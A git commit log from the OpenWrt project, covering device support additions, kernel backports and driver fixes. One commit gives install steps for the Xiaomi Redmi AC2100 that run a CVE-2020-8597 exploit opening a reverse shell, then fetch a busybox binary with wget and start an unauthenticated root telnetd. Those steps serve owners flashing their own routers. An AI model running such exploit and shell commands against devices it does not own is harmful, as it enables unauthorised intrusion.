Jakov Petrina 3dbb658d26 linux: mvebu: backport mvneta XDP support fixes
This patch backports additional fixes for XDP support in the mvneta driver. These
changes are found upstream as commits:

b37fa92e20ef2 net: mvneta: fix build skb for bm capable devices
f383b2950070c net: mvneta: rely on page_pool_recycle_direct in mvneta_run_xdp
79572c98c554d mvneta driver disallow XDP program on hardware buffer management
44efc78d0e464 net: mvneta: fix XDP support if sw bm is used as fallback

Signed-off-by: Jakov Petrina <jakov.petrina@sartura.hr>
4 years ago
Jakov Petrina 76f9aa6f4b linux: mvebu: backport mvneta XDP support
This patch backports XDP support in the mvneta driver used by Marvell ARMADA 37x,
38x and 37xx series SoCs. Supported actions are:

- XDP_DROP
- XDP_PASS
- XDP_REDIRECT
- XDP_TX

Patches are present upstream as following commits:

* b0a43db9087a net: mvneta: add XDP_TX support
* 9e58c8b41065 net: mvneta: make tx buffer array agnostic
* fa383f6b77a2 net: mvneta: move header prefetch in mvneta_swbm_rx_frame
* 0db51da7a8e9 net: mvneta: add basic XDP support
* 8dc9a0888f4c net: mvneta: rely on build_skb in mvneta_rx_swbm poll routine
* 568a3fa24a95 net: mvneta: introduce page pool API for sw buffer manager
* ff519e2acd46 net: mvneta: introduce mvneta_update_stats routine

Signed-off-by: Jakov Petrina <jakov.petrina@sartura.hr>
4 years ago
Thibaut VARÈNE f10da7cb4d packages/boot: remove rbcfg
The new sysfs soft_config driver makes buggy rbcfg obsolete and
entirely replaces it.

Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Thibaut VARÈNE 48b14b9cbe generic: routerboot sysfs: soft_config support for ath79 cpufreq
This commit introduces support for R/W access to the CPU frequency
setting of routerboot on ath79 hardware.

On unsupported hardware, the sysfs attribute will expose the raw tag
value (read-only) to help with reverse engineering its meaning.

Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Thibaut VARÈNE 89226b8666 generic: routerboot sysfs: move tag_show_u32()
This routine will be shared between hard and soft config drivers.

Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Thibaut VARÈNE f36e710e2d generic: routerboot sysfs: add support for soft_config
This driver exposes the data encoded in the "soft_config" flash segment
of MikroTik RouterBOARDs devices. It presents the data in a sysfs folder
named "soft_config" through a set of human-and-machine-parseable
attributes. Changes can be discarded by writing 0 to the 'commit'
attribute, or they can be committed to flash storage by writing 1.

This driver does not reuse any of the existing code previously found in
the "rbcfg" utility and makes this utility obsolete by providing a clean
sysfs interface.

Like "rbcfg", this driver requires 4K_SECTORS support since the flash
partition in which these parameters are stored is typically 4KB in size.

Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Thibaut VARÈNE dac18f66fb generic: routerboot sysfs: move tag_show_string()
This routine will be shared between hard and soft config drivers.
Also use scnprintf() instead of snprintf().

Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Thibaut VARÈNE 39ec3c5986 generic: platform/mikrotik: rb_hardconfig.c minor fixes
For the sake of strictly typed code, add a missing const qualifier.
Add a missing return value in error path.
Check the return value of mtd_read(), for good measure.
Also demote the error printks of failed sysfs file creation to warn
level since they are not fatal in the init() sequence.
Finally, add a note regarding PAGE_SIZE and clarify a comment.

Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Thibaut VARÈNE 429fbc96a4 generic: platform/mikrotik: reorder Kconfig
The depends and select should apply to the sysfs driver, not the meta
config.

Tested-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Tested-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Álvaro Fernández Rojas 584d4bf1d3 bcm27xx: update patches from RPi foundation
bcm2708: boot tested on RPi B+ v1.2
bcm2709: boot tested on RPi 3B v1.2
bcm2710: boot tested on RPi 3B v1.2
bcm2711: boot tested on RPi 4B v1.1 4G

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 745c447579 bcm27xx: remove linux 4.19 support
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Pavel Balan ad84c09502 ath79: add support for COMFAST CF-E130N v2
This patch adds support for the COMFAST CF-E130N v2, an outdoor wireless
CPE with a single Ethernet port and a 802.11bgn radio.

Specifications:

 - QCA9531 SoC
 - 1x 10/100 Mbps Ethernet with PoE-in support
 - 64 MB of RAM (DDR2)
 - 16 MB of FLASH
 - 5 dBi built-in antenna
 - POWER/LAN/WLAN green LEDs
 - 4x RSSI LEDs (2x red, 2x green)
 - UART (115200 8N1) and GPIO (J9) headers on PCB

Flashing instructions:

 The original firmware is based on OpenWrt so a sysupgrade image can be
 installed via the stock web GUI.

 The U-boot bootloader also contains a backup TFTP client to upload the
 firmware from. Upon boot, it checks its ethernet network for the IP
 192.168.1.10. Host a TFTP server and provide the image to be flashed as
 file firmware_auto.bin.

MAC address setup:

The art partition contains four consecutive MAC addresses:

0x0    aa:bb:cc:xx:xx:c4
0x6    aa:bb:cc:xx:xx:c6
0x1002 aa:bb:cc:xx:xx:c5
0x5006 aa:bb:cc:xx:xx:c7

However, the manufacturer in its infinite wisdom decided that one address
is enough and both eth0 and WiFi get the MAC address from 0x0 (yes, that's
overwriting the existing and valid address in 0x1002). This is obviously
also the address on the device's label.

Signed-off-by: Pavel Balan <admin@kryma.net>
[fix configs partition, fix IMAGE_SIZE, add MAC address comment, rename
ATH_SOC to SOC]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 2b92ee36ae ath79: replace tab after DT label by space
The common separator in this case is a single space.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler e8fbb98c6d ramips: fix LED DT label for Zyxel Keenetic Start
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Sebastian Schaper 64d088d8f9 ath79: increase spi clock for D-Link DIR-842
AHB is 258 MHz for this device (CPU_PLL / 3), but there is no difference
between 64 MHz and 50 MHz for spi-max-frequency, thus increase to 50 MHz.

Tested on revisions C1 and C3.

Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
4 years ago
Sebastian Schaper 8643c0b53d ath79: define switch reset-gpios for D-Link DIR-842
GPIO 11 needs to be pulled high for the external gigabit switch to work,
this is currently solved via gpio-hog. Replace with phy0 reset-gpios.

Tested on revisions C1 and C3. Reset button is still working for reboot,
to enter failsafe, and to enter bootloader http recovery.

Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
4 years ago
Sebastian Schaper 6ce1e299be ath79: fix LEDs for D-Link DIR-842
The device has a total of 8 LEDs, 5 of which are controlled by the switch
(LAN 1-4, WAN). Only power, wifi and wps are controlled by the SoC.

 * led_power is on GPIO 5 (not 15), boot flashing sequence is now visible
 * remove led 'internet', since it is only connected to the switch
 * remove ucidef_set_led_switch for WAN from 01_leds, as it has no effect

Tested on revisions C1 and C3.

Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
[adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 0225018d8b ramips: create shared DTSI for DIR-810L and TEW-810DR
These devices seem to have the same board, so let's have a common
file.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
J. Scott Heppler 168e4c91d8 ramips: add support for TRENDnet TEW-810DR
Specifications:

* MediaTek MT7620A (580 Mhz)
* 8 MB of FLASH
* 64 MB of RAM
* 2.4Ghz and 5.0Ghz radios
* 5x 10/100 Mbps Ethernet (1 WAN and 4 LAN)
* UART header on PCB (57600 8n1)
* Green/Orange Power LEDs illuminating a Power-Button Lens
* Green/Orange Internet LEDs GPIO controlled illuminating a Globe/Internet Lens
* 3x button - wps, power and reset
* U-boot bootloader

Installation:

The sysupgrade.bin image is reported to be OEM web flashed with an ncc_att_hwid
appended.  ncc_att_hwid is a 32bit binary in the GPL Source download for either
the TEW-810DR or DIR-810L and is located at
source/user/wolf/cameo/ncc/hostTools.

The invocation is: ncc_att_hwid -f tew-810dr-squashfs-factory.bin -a -m "TEW-810DR" -H "1.0R" -r "WW" -c "1.0"

This may need to be altered if your hardware version is "1.1R".

The image can also be directly flashed via serial tftp:
1.  Load *.sysupgrade.bin to your tftp server directory and rename for
    convenience.
2.  Set a static ip 192.168.10.100.
3.  NIC cable to a lan port.
4.  Serial connection parameters 57600,8N1
5.  Power on the TEW-810 and press 4 for a u-boot command line prompt.
6.  Verify IP's with U-Boot command "printenv".
7.  Adjust tftp settings if needed per the tftp documentation
8.  Boot the tftp image to test the build.
9.  If the image loads, reset your server ip to 192.168.1.10 and restart network.
10. Log in to Luci, 192.168.1.1, and flash the *sysupgrade.bin image.

Notes:

The only valid MAC address is found in 0x28 of the factory partition.
Other typical offsets/caldata only contain example data: 00:11:22:00:0f:xx

Signed-off-by: J. Scott Heppler <shep971@centurylink.net>
[remove "link rx tx" in 01_leds, format and extend commit message,
fix DTS led node names]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Roger Pueyo Centelles 8383e63808 ath79/mikrotik: add missing kernel config symbol for 5.4
The UBIFS_FS_ZSTD is exposed when UBIFS is enabled.

Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 4661b05390 kernel: properly insert local mtd partition parsers
Between 4.19 and 5.4, the kernel moved the partition parsers into
the parsers subdirectory. This led to some necessary rebasing of
our local patches for parsers, which partially has been performed
without caring about where the code was inserted.

This commit tries to adjust our local patches so that parsers are
inserted at the "proper" positions with respect to alphabetic sorting
(if possible). Thus, the commit is cosmetic.

While this might look useless now, it will make life easier when
adding other parsers in the future or for rebasing on kernel changes.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler b91b7d8963 kernel: remove a bunch of trailing whitespaces
These trailing whitespaces were reported during kernel patch refresh.

While at it, harmonize a few indents as well.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 807366af38 kernel: drop backported gpio emulated open drain output fix
This patch has been backported to stable kernel 5.4 already.

Remove our local patch explicitly now, as by applying the patch
(or refreshing) the relevant code is actually added a second time.

Refresh remaining patches as well.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 1b2144e81f octeon: set 5.4 as default kernel
octeon has provided 5.4 as testing kernel for some time now, let's
switch to 5.4 to have a bigger audience for testing.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 73936e77ea octeontx: remove support for kernel 4.14
Kernel 5.4 is stable for about two months now and there is only a few
patches anyway, so this is mostly upstream stuff. Therefore, it does
not look like we need to keep old 4.14 around any longer.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 0efa8cb0a8 archs38: remove support for kernel 4.14
Kernel 5.4 is stable for about two months now and there is only one
patch anyway, so this is mostly upstream stuff. Therefore, it does
not look like we need to keep old 4.14 around any longer.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Yangbo Lu 4bbc0e7357 layerscape: remove support for kernel 4.14
Remove support for kernel 4.14, and NXP Layerscape SDK
had not supported kernel 4.14 since LSDK-20.04 either.

Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
4 years ago
Álvaro Fernández Rojas b1604b744b bcm63xx: ar-5315u: expose LEDs through controller
Exposing LEDs through LED controller instead of gpio-leds takes
advantage of HW blinking.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas d361aa2ebd bcm63xx: ar-5387un: expose LEDs through controller
Exposing LEDs through LED controller instead of gpio-leds takes
advantage of HW blinking.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 09b7922aaa bcm63xx: ar-5381u: expose LEDs through controller
Exposing LEDs through LED controller instead of gpio-leds takes
advantage of HW blinking.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
INAGAKI Hiroshi 7b01567976 ramips: add alternative name for Buffalo WSR-2533DHP
Buffalo WSR-2533DHP is identical to the WSR-2533DHPL, Buffalo sold it
with renaming.

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
4 years ago
Ernst Spielmann c3dc52e39a ramips: add support for Asus RT-N10P V3 / RT-N11P B1 / RT-N12 VP B1
Specifications:

- MT7628NN @ 580 MHz
- 32 MB RAM
- 8 MB Flash
- 5x 10/100 Mbps Ethernet (built-in switch)
- 2.4 GHz WLAN
- 2x external, non-detachable antennas (1x for RT-N10P V3)

Flash instructions:

1. Set PC network interface to 192.168.1.75/24.
2. Connect PC to the router via LAN.
3. Turn router off, press and hold reset button, then turn it on.
4. Keep the button pressed till power led starts to blink.
5. Upload the firmware file via TFTP. (Any filename is accepted.)
6. Wait until the router reboots.

Signed-off-by: Ernst Spielmann <endspiel@disroot.org>
[fix node/property name for state_default]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Stijn Segers 9a1f4b2f83 ath79/nand: add support for Netgear WNDR4300SW
This patch adds support for the WNDR4300SW, marketed by California ISP
SureWest (hence the 'SW' suffix). Hardware wise, it's identical to the
WNDR4300 v1.

Specifications:
* SoC: Atheros AR9344
* RAM: 128 MB
* Flash: 128 MB NAND flash
* WiFi: Atheros AR9580 (5 GHz) and AR9344 (2,4 GHz)
* Ethernet: 5x 1000Base-T
* LED: Power, WAN, LAN, WiFi, USB, WPS
* UART: on board, to the right of the RF shield at the top of the board

Installation:

* Flashing through the OEM web interface:
  + Connect your computer to the router with an ethernet cable and browse
    to http://192.168.1.1/
  + Log in with the default credentials are admin:password
  + Browse to Advanced > Administration > Firmware Upgrade in the Netgear
    interface
  + Upload the Openwrt firmware: openwrt-ath79-nand-netgear_wndr4300sw-squashfs-factory.img
  + Proceed with the firmware installation and give the device a few
    minutes to finish and reboot.

* Flashing through TFTP:
  + Configure your wired client with a static IP in the 192.168.1.x range,
    e.g. 192.168.1.10 and netmask 255.255.255.0.
  + Power off the router.
  + Press and hold the RESET button (the factory reset button on the bottom
    of the device, with the red circle around it) and turn the router on
    while keeping the button pressed.
  + The power LED will start flashing orange. You can release the button
    once it switches to flashing green.
  + Transfer the image over TFTP:
    $ tftp 192.168.1.1 -m binary -c put openwrt-ath79-nand-netgear_wndr4300sw-squashfs-factory.img

Signed-off-by: Stijn Segers <foss@volatilesystems.org>
4 years ago
Russell Senior fe9a2beecb ramips: fix 04_led_migration case syntax for mt7621
Commit f761f4052c had bogus case syntax, the uci-defaults script threw
errors as a result and exited non-zero, probably didn't do what was
intended, but tried over and over since the non-zero exit prevents the
script from being deleted.

Fixes: f761f4052c ("ramips: mt7621: harmonize naming scheme for Mikrotik")

Signed-off-by: Russell Senior <russell@personaltelco.net>
[extend commit title, add Fixes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
David Bauer ebddc5f984 ath79: add support for Enterasys WS-AP3705i
Hardware
--------
SoC:    Atheros AR9344
RAM:    128M DDR2
FLASH:  2x Macronix MX25L12845EM
        2x 16MiB SPI-NOR
WLAN2:  Atheros AR9344 2x2 2T2R
WLAN5:  Atheros AR9580 2x2 2T2R
SERIAL: Cisco-RJ45 on the back (115200 8n1)

Installation
------------

The U-Boot CLI is password protected (using the same credentials as the
OS). Default is admin/new2day.

1. Download the OpenWrt initramfs-image. Place it into a TFTP server
   root directory and rename it to 1401A8C0.img. Configure the TFTP
   server to listen at 192.168.1.66/24.

2. Connect the TFTP server to the access point.

3. Connect to the serial console of the access point. Attach power and
   interrupt the boot procedure when prompted (bootdelay is 1 second).

4. Configure the U-Boot environment for booting OpenWrt from Ram and
   flash:

   $ setenv boot_openwrt 'setenv bootargs; bootm 0xbf230000'
   $ setenv ramboot_openwrt 'setenv serverip 192.168.1.66;
     tftpboot 0x85000000; bootm'
   $ setenv bootcmd 'run boot_openwrt'
   $ saveenv

5. Load OpenWrt into memory:

   $ run ramboot_openwrt

   Wait for the image to boot.

6. Transfer the OpenWrt sysupgrade image to the device. Write the image
   to flash using sysupgrade:

   $ sysupgrade -n /path/to/openwrt-sysuograde.bin

Signed-off-by: David Bauer <mail@david-bauer.net>
4 years ago
Daniele Castro d6f66dd88e brcm63xx: add support for ADB P.DG A4001N A-000-1A1-AX
ADB P.DG A4001N A-000-1A1-AX a.k.a. Telecom Italia ADSL2+ Wi-Fi N (AGPWI)
has the same PCB as the OpenWrt's ADB P.DG A4001N1 with LEDs connected
to different GPIO PINs in active low configuration.

OpenWrt's ADB P.DG A4001N image is made for the ADB P.DG A4001N A-000-1A1-AE.
It has different LEDs configuration and flash size/layout
w.r.t the ADB P.DG A4001N A-000-1A1-AX.

Hardware:
* Board ID: 96328avng
* SoC: Broadcom BCM6328
* RAM DDR2-800: 32 Mbyte - winbond W9725G6KB-25
* Serial flash: 16 Mbyte - MXIC MX25L 12845EMI-10G
* Ethernet: 4x Ethernet 10/100 baseT
* Wifi 2.4GHz: Broadcom Corporation BCM43224/5 Wireless Network Adapter (rev 01)
* LEDs: 2x Power, 2x ADSL, 2x Internet, 2x Wi-Fi, 2x Service
* Buttons: 1x Reset, 1x WPS (named WiFi/LED)
* UART: 1x TTL 115200n8, TX  NC  RX, on J5 connector (short R192 and R193)
                         NC  GND NC

Installation via CFE:
* Stock CFE has to be overwriten with one for 96328avng boards that can upload
  .bin images with no signature check (cfe-A4001N-V0000_96328avng.bin)
* connect a serial port to the board
* Stop the boot process after power on by pressing enter
* set static IP 192.168.1.2 and subnet mask 255.255.255.0
* navigate to http://192.168.1.1/
* upload the OpenWrt image file

Signed-off-by: Daniele Castro <danielecastro@hotmail.it>
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Adrian Schmutzler e3e17b4ed4 bcm63xx: use model part of board name as variable in 01_leds
This extracts the model part of the board name and uses it for the
LED string identifiers in 01_leds. As this makes statements more
generic, it will allow to merge more cases in the future.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 5a7d11fb78 bcm63xx: replace further "ok" with "okay" in DTS files
While "ok" is recognized in DT parsing, only "okay" is actually
mentioned as valid value. Replace it accordingly.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Hauke Mehrtens 586661018e ath79: Do not build buffalo_whr-g301n by default
The squashfs partition is getting too big.

Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
4 years ago
Álvaro Fernández Rojas 78a0ae9023 bcm63xx: WIP: add Huawei HG253s v2 support
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 5998c8f059 bcm63xx: nand: support CFE partition tags
Introduce support for generating JFFS2 CFE partition tags.
This is used in NAND devices in order to verify the integrity of the JFFS2
partition.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 6dc3dce658 bcm63xx: improve rgmii ctrl overrides
There are older devices which require overriding the RGMII ports, so this
shouldn't be limited and forced to BCM63268.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 7a817752f6 bcm63xx: dgnd3700-v1: add NAND support
NAND is used as extra storage on this device.

Signed-off-by: Daniel Gonzalez Cabanelas <dgcbueu@gmail.com>
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 67861b2a66 bcm63xx: nand: fix v2.1 controller support
Page size shift is different from v2.2+ controllers

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Russell King 6593ea23e5 kernel: backport the I2C bus recovery for uDPU
Backport the I2C bus recovery DT configuration for the uDPU that has
been queued for 5.8.

Signed-off-by: Russell King <linux@armlinux.org.uk>
4 years ago
Russell King 714199ec34 kernel: backport v5.8 i2c-pxa updates
Add i2c-pxa updates queued for v5.8, which add bus recovery to this
driver; this is needed for the uDPU platform.

Signed-off-by: Russell King <linux@armlinux.org.uk>
4 years ago
Russell King 72a1d5c3ac kernel: backport gpio emulated open drain output fix
Backport the GPIO emulated open drain output fix from v5.5, which is
required for the i2c-pxa backport.

Signed-off-by: Russell King <linux@armlinux.org.uk>
4 years ago
Thibaut VARÈNE 6934b20912 generic: platform/mikrotik: disambiguate SPDX-License-Identifier
I meant it to be GPL-2.0-only, as evidenced by the boilerplate.

Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Thibaut VARÈNE 49eec56bfc generic: routerbootpart.c: disambiguate SPDX-License-Identifier
I meant it to be GPL-2.0-only, as evidenced by the boilerplate.

Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
4 years ago
Eneas U de Queiroz 94e27d62ab sdk: add OpenWrt branding to menuconfig & .config
Set the mainmenu symbol in SDK Config.in to "OpenWrt Configuration", the
same as the main OpenWrt Config.in.  This string is is used as the name
of the top menu in menuconfig, and at the top of the .config file.  If
unset, current kconfig will use "Linux Kernel Configuration".

Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
4 years ago
Eneas U de Queiroz 1f2539a1f4 sdk: fix host menu config targets using ncurses
This applies 965f341aa9 ("build: fix host menu config targets using
ncurses") to the SDK top Makefile.

If there is a pkg-config in the staging dir, it will try to use it
instead of the host system's pkg-config; then it will fail to find the
ncurses package.  Linux's default will be used, which fails in some
cases, such as recent Gentoo systems.

Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[fixed From: to match SoB]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Petr Štetiar 1b2fefb244 kernel: bump 5.4 to 5.4.42
Refreshed patches, removed upstreamed patch:

 generic/pending: 001-v5.4-pinctrl-qcom-fix-wrong-write-in-update_dual_edge.patch.patch

Run tested: qemu-x86-64
Build tested: x86/64, ath79/nand, imx6, sunxi/a53

Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Alberto Bursi dc7cc60ca3 x86: fix generic kernel 5.4 config
The last kernel update done with commit 500a02bc29 ("x86: Update
configuration") placed most of the updated config only in the x86_64
target.

Move the options needed by the other targets too in the x86 base config,
and add an additional option needed by those targets.

Fixes: 500a02bc29 ("x86: Update configuration")
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
[commit subject/description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Richard Huynh f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
4 years ago
Álvaro Fernández Rojas c93cdf536a bcm63xx: lzma-loader: rely on CHIP_ID for UART address
lzma-loader uart output wasn't working on BCM3380/BCM6362 because these
SoCs have the same processor ID.
Let's use CHIP_ID for establishing the UART base address.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 8e8920c92f bcm63xx: lzma-loader: remove unused definitions
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 0836e22a83 bcm63xx: image: add CVG834G CHIP_ID
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 91b275b6e3 bcm63xx: image: rename CFE_CHIP_ID to CHIP_ID
Rename CFE_CHIP_ID to a generic name that doesn't involve CFE.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas e0382c50e9 bcm63xx: fix AD1018 WLAN led
Standard AD1018 has lower case LEDs.

Fixes: 5f82691923 ("bcm63xx: add unmodded SERCOMM AD1018 support")
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 5f82691923 bcm63xx: add unmodded SERCOMM AD1018 support
Until now only HW modded SPI flash version was supported.

BCM6328 with 64M RAM and 128M NAND.
More info: https://openwrt.org/toh/sercomm/ad1018

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 5d3bb7ea9a kernel: mtdsplit: bcm_wfi: add sercomm support
SERCOMM creates separates partitions for cferam.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas f996377a26 bcm63xx: bcm6328: fix strapbus boot sel
Boot selection bit is 18, not 28.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Sungbo Eo 31697f92a2 ramips: fix MAC address setup for RT5350F-OLinuXino devices
Olimex RT5350F-OLinuXino devices do not have a default MAC address, and there is
nothing at the 0x4 offset in the factory partition. Using a local address, which
is randomly generated by the kernel, would be a better choice.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
4 years ago
Sungbo Eo f7112a180f ramips: 5.4: handle ERR_PTR properly
of_get_mac_address can return ERR_PTR since 5.2, so the return pointer should be
checked before used. Otherwise it might cause an oops during boot.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
4 years ago
INAGAKI Hiroshi 0a05d71f6f ramips: fix initramfs image for I-O DATA mt7621 devices
This is additional fix of c998ae7f0e.

The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC
(MitraStar Technology Corp.) faced to the booting issue. This was caused
by imcomplete extraction of large kernel image by U-Boot, and this issue
is occurred in initramfs image after fixing of sysupgrade image.
So, use lzma-loader for initramfs image to fix the issue.

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
4 years ago
Chuanhong Guo a43cbfe2e3 ramips: remove default switch setup in 02_network
ramips images now relies on explicit switch setup for proper failsafe
functionality. Remove default cases where it relies on vlan setup in
dts and add switch setup for devices affected.

Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
4 years ago
Álvaro Fernández Rojas 597df570f3 bcm63xx: reorganize board patches
Let's put some order on board patches.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas edafbe81e0 bcm63xx: bcm6328-leds: improve HW blinking
Add support for second HW blinking interval.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas daee6b4661 bcm63xx: add Comtrend VG-8050 support
BCM63169 with 128M RAM, 128M NAND and BCM53125 switch.
Switch is connected by HSSPI to CS5.
More info: https://openwrt.org/toh/comtrend/vg8050

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 62e7342ddf bcm63xx: add NETGEAR DGND3700v2 support
BCM6362 with 64M RAM, 32M NAND and BCM53125 switch.
Switch is connected by MMAP, which is currently unsupported (no VLANs).
More info: https://openwrt.org/toh/netgear/dgnd3700v2

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago